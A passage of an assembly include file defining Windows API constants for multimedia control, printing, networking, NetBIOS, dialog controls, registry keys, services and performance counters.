MCI_VD_MEDIA_CLV equ MCI_VD_OFFSET+2
MCI_VD_MEDIA_CAV equ MCI_VD_OFFSET+3
MCI_VD_MEDIA_OTHER equ MCI_VD_OFFSET+4
MCI_VD_FORMAT_TRACK equ 4001h
MCI_VD_PLAY_REVERSE equ 10000h
MCI_VD_PLAY_FAST equ 20000h
MCI_VD_PLAY_SPEED equ 40000h
MCI_VD_PLAY_SCAN equ 80000h
MCI_VD_PLAY_SLOW equ 100000h
MCI_VD_SEEK_REVERSE equ 10000h
MCI_VD_STATUS_SPEED equ 4002h
MCI_VD_STATUS_FORWARD equ 4003h
MCI_VD_STATUS_MEDIA_TYPE equ 4004h
MCI_VD_STATUS_SIDE equ 4005h
MCI_VD_STATUS_DISC_SIZE equ 4006h
MCI_VD_GETDEVCAPS_CLV equ 10000h
MCI_VD_GETDEVCAPS_CAV equ 20000h
MCI_VD_SPIN_UP equ 10000h
MCI_VD_SPIN_DOWN equ 20000h
MCI_VD_GETDEVCAPS_CAN_REVERSE equ 4002h
MCI_VD_GETDEVCAPS_FAST_RATE equ 4003h
MCI_VD_GETDEVCAPS_SLOW_RATE equ 4004h
MCI_VD_GETDEVCAPS_NORMAL_RATE equ 4005h
MCI_VD_STEP_FRAMES equ 10000h
MCI_VD_STEP_REVERSE equ 20000h
MCI_VD_ESCAPE_STRING equ 100h
MCI_WAVE_PCM equ MCI_WAVE_OFFSET+0
MCI_WAVE_MAPPER equ MCI_WAVE_OFFSET+1
MCI_WAVE_OPEN_BUFFER equ 10000h
MCI_WAVE_SET_FORMATTAG equ 10000h
MCI_WAVE_SET_CHANNELS equ 20000h
MCI_WAVE_SET_SAMPLESPERSEC equ 40000h
MCI_WAVE_SET_AVGBYTESPERSEC equ 80000h
MCI_WAVE_SET_BLOCKALIGN equ 100000h
MCI_WAVE_SET_BITSPERSAMPLE equ 200000h
MCI_WAVE_INPUT equ 400000h
MCI_WAVE_OUTPUT equ 800000h
MCI_WAVE_STATUS_FORMATTAG equ 4001h
MCI_WAVE_STATUS_CHANNELS equ 4002h
MCI_WAVE_STATUS_SAMPLESPERSEC equ 4003h
MCI_WAVE_STATUS_AVGBYTESPERSEC equ 4004h
MCI_WAVE_STATUS_BLOCKALIGN equ 4005h
MCI_WAVE_STATUS_BITSPERSAMPLE equ 4006h
MCI_WAVE_STATUS_LEVEL equ 4007h
MCI_WAVE_SET_ANYINPUT equ 4000000h
MCI_WAVE_SET_ANYOUTPUT equ 8000000h
MCI_WAVE_GETDEVCAPS_INPUTS equ 4001h
MCI_WAVE_GETDEVCAPS_OUTPUTS equ 4002h
MCI_SEQ_DIV_PPQN equ 0+MCI_SEQ_OFFSET
MCI_SEQ_DIV_SMPTE_24 equ 1+MCI_SEQ_OFFSET
MCI_SEQ_DIV_SMPTE_25 equ 2+MCI_SEQ_OFFSET
MCI_SEQ_DIV_SMPTE_30DROP equ 3+MCI_SEQ_OFFSET
MCI_SEQ_DIV_SMPTE_30 equ 4+MCI_SEQ_OFFSET
MCI_SEQ_FORMAT_SONGPTR equ 4001h
MCI_SEQ_FILE equ 4002h
MCI_SEQ_MIDI equ 4003h
MCI_SEQ_SMPTE equ 4004h
MCI_SEQ_NONE equ 65533
MCI_SEQ_MAPPER equ 65535
MCI_SEQ_STATUS_TEMPO equ 4002h
MCI_SEQ_STATUS_PORT equ 4003h
MCI_SEQ_STATUS_SLAVE equ 4007h
MCI_SEQ_STATUS_MASTER equ 4008h
MCI_SEQ_STATUS_OFFSET equ 4009h
MCI_SEQ_STATUS_DIVTYPE equ 400Ah
MCI_SEQ_SET_TEMPO equ 10000h
MCI_SEQ_SET_PORT equ 20000h
MCI_SEQ_SET_SLAVE equ 40000h
MCI_SEQ_SET_MASTER equ 80000h
MCI_SEQ_SET_OFFSET equ 1000000h
MCI_ANIM_OPEN_WS equ 10000h
MCI_ANIM_OPEN_PARENT equ 20000h
MCI_ANIM_OPEN_NOSTATIC equ 40000h
MCI_ANIM_PLAY_SPEED equ 10000h
MCI_ANIM_PLAY_REVERSE equ 20000h
MCI_ANIM_PLAY_FAST equ 40000h
MCI_ANIM_PLAY_SLOW equ 80000h
MCI_ANIM_PLAY_SCAN equ 100000h
MCI_ANIM_STEP_REVERSE equ 10000h
MCI_ANIM_STEP_FRAMES equ 20000h
MCI_ANIM_STATUS_SPEED equ 4001h
MCI_ANIM_STATUS_FORWARD equ 4002h
MCI_ANIM_STATUS_HWND equ 4003h
MCI_ANIM_STATUS_HPAL equ 4004h
MCI_ANIM_STATUS_STRETCH equ 4005h
MCI_ANIM_INFO_TEXT equ 10000h
MCI_ANIM_GETDEVCAPS_CAN_REVERSE equ 4001h
MCI_ANIM_GETDEVCAPS_FAST_RATE equ 4002h
MCI_ANIM_GETDEVCAPS_SLOW_RATE equ 4003h
MCI_ANIM_GETDEVCAPS_NORMAL_RATE equ 4004h
MCI_ANIM_GETDEVCAPS_PALETTES equ 4006h
MCI_ANIM_GETDEVCAPS_CAN_STRETCH equ 4007h
MCI_ANIM_GETDEVCAPS_MAX_WINDOWS equ 4008h
MCI_ANIM_REALIZE_NORM equ 10000h
MCI_ANIM_REALIZE_BKGD equ 20000h
MCI_ANIM_WINDOW_HWND equ 10000h
MCI_ANIM_WINDOW_STATE equ 40000h
MCI_ANIM_WINDOW_TEXT equ 80000h
MCI_ANIM_WINDOW_ENABLE_STRETCH equ 100000h
MCI_ANIM_WINDOW_DISABLE_STRETCH equ 200000h
MCI_ANIM_WINDOW_DEFAULT equ 0h
MCI_ANIM_RECT equ 10000h
MCI_ANIM_PUT_SOURCE equ 20000h
MCI_ANIM_PUT_DESTINATION equ 40000h
MCI_ANIM_WHERE_SOURCE equ 20000h
MCI_ANIM_WHERE_DESTINATION equ 40000h
MCI_ANIM_UPDATE_HDC equ 20000h
MCI_OVLY_OPEN_WS equ 10000h
MCI_OVLY_OPEN_PARENT equ 20000h
MCI_OVLY_STATUS_HWND equ 4001h
MCI_OVLY_STATUS_STRETCH equ 4002h
MCI_OVLY_INFO_TEXT equ 10000h
MCI_OVLY_GETDEVCAPS_CAN_STRETCH equ 4001h
MCI_OVLY_GETDEVCAPS_CAN_FREEZE equ 4002h
MCI_OVLY_GETDEVCAPS_MAX_WINDOWS equ 4003h
MCI_OVLY_WINDOW_HWND equ 10000h
MCI_OVLY_WINDOW_STATE equ 40000h
MCI_OVLY_WINDOW_TEXT equ 80000h
MCI_OVLY_WINDOW_ENABLE_STRETCH equ 100000h
MCI_OVLY_WINDOW_DISABLE_STRETCH equ 200000h
MCI_OVLY_WINDOW_DEFAULT equ 0h
MCI_OVLY_RECT equ 10000h
MCI_OVLY_PUT_SOURCE equ 20000h
MCI_OVLY_PUT_DESTINATION equ 40000h
MCI_OVLY_PUT_FRAME equ 80000h
MCI_OVLY_PUT_VIDEO equ 100000h
MCI_OVLY_WHERE_SOURCE equ 20000h
MCI_OVLY_WHERE_DESTINATION equ 40000h
MCI_OVLY_WHERE_FRAME equ 80000h
MCI_OVLY_WHERE_VIDEO equ 100000h
CAPS1 equ 94
C1_TRANSPARENT equ 1h
NEWTRANSPARENT equ 3
QUERYROPSUPPORT equ 40
SELECTDIB equ 41
SE_ERR_SHARE equ 26
SE_ERR_ASSOCINCOMPLETE equ 27
SE_ERR_DDETIMEOUT equ 28
SE_ERR_DDEFAIL equ 29
SE_ERR_DDEBUSY equ 30
SE_ERR_NOASSOC equ 31
PRINTER_CONTROL_PAUSE equ 1
PRINTER_CONTROL_RESUME equ 2
PRINTER_CONTROL_PURGE equ 3
PRINTER_STATUS_PAUSED equ 1h
PRINTER_STATUS_ERROR equ 2h
PRINTER_STATUS_PENDING_DELETION equ 4h
PRINTER_STATUS_PAPER_JAM equ 8h
PRINTER_STATUS_PAPER_OUT equ 10h
PRINTER_STATUS_MANUAL_FEED equ 20h
PRINTER_STATUS_PAPER_PROBLEM equ 40h
PRINTER_STATUS_OFFLINE equ 80h
PRINTER_STATUS_IO_ACTIVE equ 100h
PRINTER_STATUS_BUSY equ 200h
PRINTER_STATUS_PRINTING equ 400h
PRINTER_STATUS_OUTPUT_BIN_FULL equ 800h
PRINTER_STATUS_NOT_AVAILABLE equ 1000h
PRINTER_STATUS_WAITING equ 2000h
PRINTER_STATUS_PROCESSING equ 4000h
PRINTER_STATUS_INITIALIZING equ 8000h
PRINTER_STATUS_WARMING_UP equ 10000h
PRINTER_STATUS_TONER_LOW equ 20000h
PRINTER_STATUS_NO_TONER equ 40000h
PRINTER_STATUS_PAGE_PUNT equ 80000h
PRINTER_STATUS_USER_INTERVENTION equ 100000h
PRINTER_STATUS_OUT_OF_MEMORY equ 200000h
PRINTER_STATUS_DOOR_OPEN equ 400000h
PRINTER_ATTRIBUTE_QUEUED equ 1h
PRINTER_ATTRIBUTE_DIRECT equ 2h
PRINTER_ATTRIBUTE_DEFAULT equ 4h
PRINTER_ATTRIBUTE_SHARED equ 8h
PRINTER_ATTRIBUTE_NETWORK equ 10h
PRINTER_ATTRIBUTE_HIDDEN equ 20h
PRINTER_ATTRIBUTE_LOCAL equ 40h
NO_PRIORITY equ 0
MAX_PRIORITY equ 99
MIN_PRIORITY equ 1
DEF_PRIORITY equ 1
JOB_CONTROL_PAUSE equ 1
JOB_CONTROL_RESUME equ 2
JOB_CONTROL_CANCEL equ 3
JOB_CONTROL_RESTART equ 4
JOB_STATUS_PAUSED equ 1h
JOB_STATUS_ERROR equ 2h
JOB_STATUS_DELETING equ 4h
JOB_STATUS_SPOOLING equ 8h
JOB_STATUS_PRINTING equ 10h
JOB_STATUS_OFFLINE equ 20h
JOB_STATUS_PAPEROUT equ 40h
JOB_STATUS_PRINTED equ 80h
JOB_POSITION_UNSPECIFIED equ 0
FORM_BUILTIN equ 1h
PRINTER_CONTROL_SET_STATUS equ 4
PRINTER_ATTRIBUTE_WORK_OFFLINE equ 400h
PRINTER_ATTRIBUTE_ENABLE_BIDI equ 800h
JOB_CONTROL_DELETE equ 5
JOB_STATUS_USER_INTERVENTION equ 10000h
DI_CHANNEL equ 1
DI_READ_SPOOL_JOB equ 3
PORT_TYPE_WRITE equ 1h
PORT_TYPE_READ equ 2h
PORT_TYPE_REDIRECTED equ 4h
PORT_TYPE_NET_ATTACHED equ 8h
PRINTER_ENUM_DEFAULT equ 1h
PRINTER_ENUM_LOCAL equ 2h
PRINTER_ENUM_CONNECTIONS equ 4h
PRINTER_ENUM_FAVORITE equ 4h
PRINTER_ENUM_NAME equ 8h
PRINTER_ENUM_REMOTE equ 10h
PRINTER_ENUM_SHARED equ 20h
PRINTER_ENUM_NETWORK equ 40h
PRINTER_ENUM_EXPAND equ 4000h
PRINTER_ENUM_CONTAINER equ 8000h
PRINTER_ENUM_ICONMASK equ 0FF0000h
PRINTER_ENUM_ICON1 equ 10000h
PRINTER_ENUM_ICON2 equ 20000h
PRINTER_ENUM_ICON3 equ 40000h
PRINTER_ENUM_ICON4 equ 80000h
PRINTER_ENUM_ICON5 equ 100000h
PRINTER_ENUM_ICON6 equ 200000h
PRINTER_ENUM_ICON7 equ 400000h
PRINTER_ENUM_ICON8 equ 800000h
PRINTER_CHANGE_ADD_PRINTER equ 1h
PRINTER_CHANGE_SET_PRINTER equ 2h
PRINTER_CHANGE_DELETE_PRINTER equ 4h
PRINTER_CHANGE_PRINTER equ 0FFh
PRINTER_CHANGE_ADD_JOB equ 100h
PRINTER_CHANGE_SET_JOB equ 200h
PRINTER_CHANGE_DELETE_JOB equ 400h
PRINTER_CHANGE_WRITE_JOB equ 800h
PRINTER_CHANGE_JOB equ 0FF00h
PRINTER_CHANGE_ADD_FORM equ 10000h
PRINTER_CHANGE_SET_FORM equ 20000h
PRINTER_CHANGE_DELETE_FORM equ 40000h
PRINTER_CHANGE_FORM equ 70000h
PRINTER_CHANGE_ADD_PORT equ 100000h
PRINTER_CHANGE_CONFIGURE_PORT equ 200000h
PRINTER_CHANGE_DELETE_PORT equ 400000h
PRINTER_CHANGE_PORT equ 700000h
PRINTER_CHANGE_ADD_PRINT_PROCESSOR equ 1000000h
PRINTER_CHANGE_DELETE_PRINT_PROCESSOR equ 4000000h
PRINTER_CHANGE_PRINT_PROCESSOR equ 7000000h
PRINTER_CHANGE_ADD_PRINTER_DRIVER equ 10000000h
PRINTER_CHANGE_DELETE_PRINTER_DRIVER equ 40000000h
PRINTER_CHANGE_PRINTER_DRIVER equ 70000000h
PRINTER_CHANGE_TIMEOUT equ 80000000h
PRINTER_CHANGE_ALL equ 7777FFFFh
PRINTER_ERROR_INFORMATION equ 80000000h
PRINTER_ERROR_WARNING equ 40000000h
PRINTER_ERROR_SEVERE equ 20000000h
PRINTER_ERROR_OUTOFPAPER equ 1h
PRINTER_ERROR_JAM equ 2h
PRINTER_ERROR_OUTOFTONER equ 4h
SERVER_ACCESS_ADMINISTER equ 1h
SERVER_ACCESS_ENUMERATE equ 2h
PRINTER_ACCESS_ADMINISTER equ 4h
PRINTER_ACCESS_USE equ 8h
JOB_ACCESS_ADMINISTER equ 10h
SERVER_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED|SERVER_ACCESS_ADMINISTER|
SERVER_ACCESS_ENUMERATE
SERVER_READ equ STANDARD_RIGHTS_READ|SERVER_ACCESS_ENUMERATE
SERVER_WRITE equ STANDARD_RIGHTS_WRITE|SERVER_ACCESS_ADMINISTER|SERVER_ACCESS_ENUMERATE
SERVER_EXECUTE equ STANDARD_RIGHTS_EXECUTE|SERVER_ACCESS_ENUMERATE
PRINTER_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED|PRINTER_ACCESS_ADMINISTER|PRINTER_ACCESS_USE
PRINTER_READ equ STANDARD_RIGHTS_READ|PRINTER_ACCESS_USE
PRINTER_WRITE equ STANDARD_RIGHTS_WRITE|PRINTER_ACCESS_USE
PRINTER_EXECUTE equ STANDARD_RIGHTS_EXECUTE|PRINTER_ACCESS_USE
JOB_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED|JOB_ACCESS_ADMINISTER
JOB_READ equ STANDARD_RIGHTS_READ|JOB_ACCESS_ADMINISTER
JOB_WRITE equ STANDARD_RIGHTS_WRITE|JOB_ACCESS_ADMINISTER
JOB_EXECUTE equ STANDARD_RIGHTS_EXECUTE|JOB_ACCESS_ADMINISTER
RESOURCE_CONNECTED equ 1h
RESOURCE_PUBLICNET equ 2h
RESOURCE_GLOBALNET equ 2h
RESOURCE_REMEMBERED equ 3h
RESOURCE_RECENT equ 4h
RESOURCE_CONTEXT equ 5h
RESOURCETYPE_ANY equ 0h
RESOURCETYPE_DISK equ 1h
RESOURCETYPE_PRINT equ 2h
RESOURCETYPE_UNKNOWN equ 0FFFFh
RESOURCEUSAGE_CONNECTABLE equ 1h
RESOURCEUSAGE_CONTAINER equ 2h
RESOURCEUSAGE_RESERVED equ 80000000h
RESOURCEDISPLAYTYPE_GENERIC equ 0h
RESOURCEDISPLAYTYPE_DOMAIN equ 1h
RESOURCEDISPLAYTYPE_SERVER equ 2h
RESOURCEDISPLAYTYPE_SHARE equ 3h
RESOURCEDISPLAYTYPE_FILE equ 4h
RESOURCEDISPLAYTYPE_GROUP equ 5h
CONNECT_UPDATE_PROFILE equ 1h
WN_SUCCESS equ NO_ERROR
WN_NOT_SUPPORTED equ ERROR_NOT_SUPPORTED
WN_NET_ERROR equ ERROR_UNEXP_NET_ERR
WN_MORE_DATA equ ERROR_MORE_DATA
WN_BAD_POINTER equ ERROR_INVALID_ADDRESS
WN_BAD_VALUE equ ERROR_INVALID_PARAMETER
WN_BAD_PASSWORD equ ERROR_INVALID_PASSWORD
WN_ACCESS_DENIED equ ERROR_ACCESS_DENIED
WN_FUNCTION_BUSY equ ERROR_BUSY
WN_WINDOWS_ERROR equ ERROR_UNEXP_NET_ERR
WN_BAD_USER equ ERROR_BAD_USERNAME
WN_OUT_OF_MEMORY equ ERROR_NOT_ENOUGH_MEMORY
WN_NO_NETWORK equ ERROR_NO_NETWORK
WN_EXTENDED_ERROR equ ERROR_EXTENDED_ERROR
WN_NOT_CONNECTED equ ERROR_NOT_CONNECTED
WN_OPEN_FILES equ ERROR_OPEN_FILES
WN_DEVICE_IN_USE equ ERROR_DEVICE_IN_USE
WN_BAD_NETNAME equ ERROR_BAD_NET_NAME
WN_BAD_LOCALNAME equ ERROR_BAD_DEVICE
WN_ALREADY_CONNECTED equ ERROR_ALREADY_ASSIGNED
WN_DEVICE_ERROR equ ERROR_GEN_FAILURE
WN_CONNECTION_CLOSED equ ERROR_CONNECTION_UNAVAIL
WN_NO_NET_OR_BAD_PATH equ ERROR_NO_NET_OR_BAD_PATH
WN_BAD_PROVIDER equ ERROR_BAD_PROVIDER
WN_CANNOT_OPEN_PROFILE equ ERROR_CANNOT_OPEN_PROFILE
WN_BAD_PROFILE equ ERROR_BAD_PROFILE
WN_BAD_HANDLE equ ERROR_INVALID_HANDLE
WN_NO_MORE_ENTRIES equ ERROR_NO_MORE_ITEMS
WN_NOT_CONTAINER equ ERROR_NOT_CONTAINER
WN_NO_ERROR equ NO_ERROR
NCBNAMSZ equ 16
MAX_LANA equ 254
NAME_FLAGS_MASK equ 87h
GROUP_NAME equ 80h
UNIQUE_NAME equ 0h
REGISTERING equ 0h
REGISTERED equ 4h
DEREGISTERED equ 5h
DUPLICATE equ 6h
DUPLICATE_DEREG equ 7h
LISTEN_OUTSTANDING equ 1h
CALL_PENDING equ 2h
SESSION_ESTABLISHED equ 3h
HANGUP_PENDING equ 4h
HANGUP_COMPLETE equ 5h
SESSION_ABORTED equ 6h
NCBCALL equ 10h
NCBLISTEN equ 11h
NCBHANGUP equ 12h
NCBSEND equ 14h
NCBRECV equ 15h
NCBRECVANY equ 16h
NCBCHAINSEND equ 17h
NCBDGSEND equ 20h
NCBDGRECV equ 21h
NCBDGSENDBC equ 22h
NCBDGRECVBC equ 23h
NCBADDNAME equ 30h
NCBDELNAME equ 31h
NCBRESET equ 32h
NCBASTAT equ 33h
NCBSSTAT equ 34h
NCBCANCEL equ 35h
NCBADDGRNAME equ 36h
NCBENUM equ 37h
NCBUNLINK equ 70h
NCBSENDNA equ 71h
NCBCHAINSENDNA equ 72h
NCBLANSTALERT equ 73h
NCBACTION equ 77h
NCBFINDNAME equ 78h
NCBTRACE equ 79h
ASYNCH equ 80h
NRC_GOODRET equ 0h
NRC_BUFLEN equ 1h
NRC_ILLCMD equ 3h
NRC_CMDTMO equ 5h
NRC_INCOMP equ 6h
NRC_BADDR equ 7h
NRC_SNUMOUT equ 8h
NRC_NORES equ 9h
NRC_SCLOSED equ 0Ah
NRC_CMDCAN equ 0Bh
NRC_DUPNAME equ 0Dh
NRC_NAMTFUL equ 0Eh
NRC_ACTSES equ 0Fh
NRC_LOCTFUL equ 11h
NRC_REMTFUL equ 12h
NRC_ILLNN equ 13h
NRC_NOCALL equ 14h
NRC_NOWILD equ 15h
NRC_INUSE equ 16h
NRC_NAMERR equ 17h
NRC_SABORT equ 18h
NRC_NAMCONF equ 19h
NRC_IFBUSY equ 21h
NRC_TOOMANY equ 22h
NRC_BRIDGE equ 23h
NRC_CANOCCR equ 24h
NRC_CANCEL equ 26h
NRC_DUPENV equ 30h
NRC_ENVNOTDEF equ 34h
NRC_OSRESNOTAV equ 35h
NRC_MAXAPPS equ 36h
NRC_NOSAPS equ 37h
NRC_NORESOURCES equ 38h
NRC_INVADDRESS equ 39h
NRC_INVDDID equ 3Bh
NRC_LOCKFAIL equ 3Ch
NRC_OPENERR equ 3Fh
NRC_SYSTEM equ 40h
NRC_PENDING equ 0FFh
EXCEPTION_EXECUTE_HANDLER equ 1
EXCEPTION_CONTINUE_SEARCH equ 0
EXCEPTION_CONTINUE_EXECUTION equ -1
ctlFirst equ 400h
ctlLast equ 4FFh
psh1 equ 400h
psh2 equ 401h
psh3 equ 402h
psh4 equ 403h
psh5 equ 404h
psh6 equ 405h
psh7 equ 406h
psh8 equ 407h
psh9 equ 408h
psh10 equ 409h
psh11 equ 40Ah
psh12 equ 40Bh
psh13 equ 40Ch
psh14 equ 40Dh
psh15 equ 40Eh
pshHelp equ psh15
psh16 equ 40Fh
chx1 equ 410h
chx2 equ 411h
chx3 equ 412h
chx4 equ 413h
chx5 equ 414h
chx6 equ 415h
chx7 equ 416h
chx8 equ 417h
chx9 equ 418h
chx10 equ 419h
chx11 equ 41Ah
chx12 equ 41Bh
chx13 equ 41Ch
chx14 equ 41Dh
chx15 equ 41Eh
chx16 equ 41Dh
rad1 equ 420h
rad2 equ 421h
rad3 equ 422h
rad4 equ 423h
rad5 equ 424h
rad6 equ 425h
rad7 equ 426h
rad8 equ 427h
rad9 equ 428h
rad10 equ 429h
rad11 equ 42Ah
rad12 equ 42Bh
rad13 equ 42Ch
rad14 equ 42Dh
rad15 equ 42Eh
rad16 equ 42Fh
grp1 equ 430h
grp2 equ 431h
grp3 equ 432h
grp4 equ 433h
frm1 equ 434h
frm2 equ 435h
frm3 equ 436h
frm4 equ 437h
rct1 equ 438h
rct2 equ 439h
rct3 equ 43Ah
rct4 equ 43Bh
ico1 equ 43Ch
ico2 equ 43Dh
ico3 equ 43Eh
ico4 equ 43Fh
stc1 equ 440h
stc2 equ 441h
stc3 equ 442h
stc4 equ 443h
stc5 equ 444h
stc6 equ 445h
stc7 equ 446h
stc8 equ 447h
stc9 equ 448h
stc10 equ 449h
stc11 equ 44Ah
stc12 equ 44Bh
stc13 equ 44Ch
stc14 equ 44Dh
stc15 equ 44Eh
stc16 equ 44Fh
stc17 equ 450h
stc18 equ 451h
stc19 equ 452h
stc20 equ 453h
stc21 equ 454h
stc22 equ 455h
stc23 equ 456h
stc24 equ 457h
stc25 equ 458h
stc26 equ 459h
stc27 equ 45Ah
stc28 equ 45Bh
stc29 equ 45Ch
stc30 equ 45Dh
stc31 equ 45Eh
stc32 equ 45Fh
lst1 equ 460h
lst2 equ 461h
lst3 equ 462h
lst4 equ 463h
lst5 equ 464h
lst6 equ 465h
lst7 equ 466h
lst8 equ 467h
lst9 equ 468h
lst10 equ 469h
lst11 equ 46Ah
lst12 equ 46Bh
lst13 equ 46Ch
lst14 equ 46Dh
lst15 equ 46Eh
lst16 equ 46Fh
cmb1 equ 470h
cmb2 equ 471h
cmb3 equ 472h
cmb4 equ 473h
cmb5 equ 474h
cmb6 equ 475h
cmb7 equ 476h
cmb8 equ 477h
cmb9 equ 478h
cmb10 equ 479h
cmb11 equ 47Ah
cmb12 equ 47Bh
cmb13 equ 47Ch
cmb14 equ 47Dh
cmb15 equ 47Eh
cmb16 equ 47Fh
edt1 equ 480h
edt2 equ 481h
edt3 equ 482h
edt4 equ 483h
edt5 equ 484h
edt6 equ 485h
edt7 equ 486h
edt8 equ 487h
edt9 equ 488h
edt10 equ 489h
edt11 equ 48Ah
edt12 equ 48Bh
edt13 equ 48Ch
edt14 equ 48Dh
edt15 equ 48Eh
edt16 equ 48Fh
scr1 equ 490h
scr2 equ 491h
scr3 equ 492h
scr4 equ 493h
scr5 equ 494h
scr6 equ 495h
scr7 equ 496h
scr8 equ 497h
FILEOPENORD equ 1536
MULTIFILEOPENORD equ 1537
PRINTDLGORD equ 1538
PRNSETUPDLGORD equ 1539
FINDDLGORD equ 1540
REPLACEDLGORD equ 1541
FONTDLGORD equ 1542
FORMATDLGORD31 equ 1543
FORMATDLGORD30 equ 1544
HKEY_CLASSES_ROOT equ 80000000h
HKEY_CURRENT_USER equ 80000001h
HKEY_LOCAL_MACHINE equ 80000002h
HKEY_USERS equ 80000003h
HKEY_PERFORMANCE_DATA equ 80000004h
HKEY_CURRENT_CONFIG equ 80000005h
HKEY_DYN_DATA equ 80000006h
SERVICE_NO_CHANGE equ 0FFFFh
SERVICE_ACTIVE equ 1h
SERVICE_INACTIVE equ 2h
SERVICE_STATE_ALL equ SERVICE_ACTIVE|SERVICE_INACTIVE
SERVICE_CONTROL_STOP equ 1h
SERVICE_CONTROL_PAUSE equ 2h
SERVICE_CONTROL_CONTINUE equ 3h
SERVICE_CONTROL_INTERROGATE equ 4h
SERVICE_CONTROL_SHUTDOWN equ 5h
SERVICE_STOPPED equ 1h
SERVICE_START_PENDING equ 2h
SERVICE_STOP_PENDING equ 3h
SERVICE_RUNNING equ 4h
SERVICE_CONTINUE_PENDING equ 5h
SERVICE_PAUSE_PENDING equ 6h
SERVICE_PAUSED equ 7h
SERVICE_ACCEPT_STOP equ 1h
SERVICE_ACCEPT_PAUSE_CONTINUE equ 2h
SERVICE_ACCEPT_SHUTDOWN equ 4h
SC_MANAGER_CONNECT equ 1h
SC_MANAGER_CREATE_SERVICE equ 2h
SC_MANAGER_ENUMERATE_SERVICE equ 4h
SC_MANAGER_LOCK equ 8h
SC_MANAGER_QUERY_LOCK_STATUS equ 10h
SC_MANAGER_MODIFY_BOOT_CONFIG equ 20h
SC_MANAGER_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED|SC_MANAGER_CONNECT|
SC_MANAGER_CREATE_SERVICE|SC_MANAGER_ENUMERATE_SERVICE|SC_MANAGER_LOCK
SERVICE_QUERY_CONFIG equ 1h
SERVICE_CHANGE_CONFIG equ 2h
SERVICE_QUERY_STATUS equ 4h
SERVICE_ENUMERATE_DEPENDENTS equ 8h
SERVICE_START equ 10h
SERVICE_STOP equ 20h
SERVICE_PAUSE_CONTINUE equ 40h
SERVICE_INTERROGATE equ 80h
SERVICE_USER_DEFINED_CONTROL equ 100h
SERVICE_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED|SERVICE_QUERY_CONFIG|SERVICE_CHANGE_CONFIG|
SERVICE_QUERY_STATUS
PERF_DATA_VERSION equ 1
PERF_DATA_REVISION equ 1
PERF_NO_INSTANCES equ -1
PERF_SIZE_DWORD equ 0h
PERF_SIZE_LARGE equ 100h
PERF_SIZE_ZERO equ 200h
PERF_SIZE_VARIABLE_LEN equ 300h
PERF_TYPE_NUMBER equ 0h
PERF_TYPE_COUNTER equ 400h
PERF_TYPE_TEXT equ 800h
PERF_TYPE_ZERO equ 0C00h
PERF_NUMBER_HEX equ 0h
PERF_NUMBER_DECIMAL equ 10000h
PERF_NUMBER_DEC_1000 equ 20000h
PERF_COUNTER_VALUE equ 0h
PERF_COUNTER_RATE equ 10000h
PERF_COUNTER_FRACTION equ 20000h
PERF_COUNTER_BASE equ 30000h
PERF_COUNTER_ELAPSED equ 40000h
PERF_COUNTER_QUEUELEN equ 50000h
PERF_COUNTER_HISTOGRAM equ 60000h
PERF_TEXT_UNICODE equ 0h
PERF_TEXT_ASCII equ 10000h
PERF_TIMER_TICK equ 0h
PERF_TIMER_100NS equ 100000h
PERF_OBJECT_TIMER equ 200000h
PERF_DELTA_COUNTER equ 400000h
PERF_DELTA_BASE equ 800000h
PERF_INVERSE_COUNTER equ 1000000h
PERF_MULTI_COUNTER equ 2000000h
PERF_DISPLAY_NO_SUFFIX equ 0h
PERF_DISPLAY_PER_SEC equ 10000000h
PERF_DISPLAY_PERCENT equ 20000000h
PERF_DISPLAY_SECONDS equ 30000000h
PERF_DISPLAY_NOSHOW equ 40000000h
PERF_COUNTER_COUNTER equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_TICK|
PERF_DELTA_COUNTER|PERF_DISPLAY_PER_SEC
PERF_COUNTER_TIMER equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_TICK|
PERF_DELTA_COUNTER|PERF_DISPLAY_PERCENT
PERF_COUNTER_QUEUELEN_TYPE equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_QUEUELEN|
PERF_TIMER_TICK|PERF_DELTA_COUNTER|PERF_DISPLAY_NO_SUFFIX
PERF_COUNTER_BULK_COUNT equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|
PERF_TIMER_TICK|PERF_DELTA_COUNTER|PERF_DISPLAY_PER_SEC
PERF_COUNTER_TEXT equ PERF_SIZE_VARIABLE_LEN|PERF_TYPE_TEXT|PERF_TEXT_UNICODE|
PERF_DISPLAY_NO_SUFFIX
PERF_COUNTER_RAWCOUNT equ PERF_SIZE_DWORD|PERF_TYPE_NUMBER|PERF_NUMBER_DECIMAL|
PERF_DISPLAY_NO_SUFFIX
PERF_SAMPLE_FRACTION equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_FRACTION|
PERF_DELTA_COUNTER|PERF_DELTA_BASE|PERF_DISPLAY_PERCENT
PERF_SAMPLE_COUNTER equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_TICK|
PERF_DELTA_COUNTER|PERF_DISPLAY_NO_SUFFIX
PERF_COUNTER_NODATA equ PERF_SIZE_ZERO|PERF_DISPLAY_NOSHOW
PERF_COUNTER_TIMER_INV equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|
PERF_TIMER_TICK|PERF_DELTA_COUNTER|PERF_INVERSE_COUNTER|PERF_DISPLAY_PERCENT
PERF_SAMPLE_BASE equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_BASE|PERF_DISPLAY_NOSHOW|
1h
PERF_AVERAGE_TIMER equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_FRACTION|
PERF_DISPLAY_SECONDS
PERF_AVERAGE_BASE equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_BASE|PERF_DISPLAY_NOSHOW
|2h
PERF_AVERAGE_BULK equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_FRACTION|
PERF_DISPLAY_NOSHOW
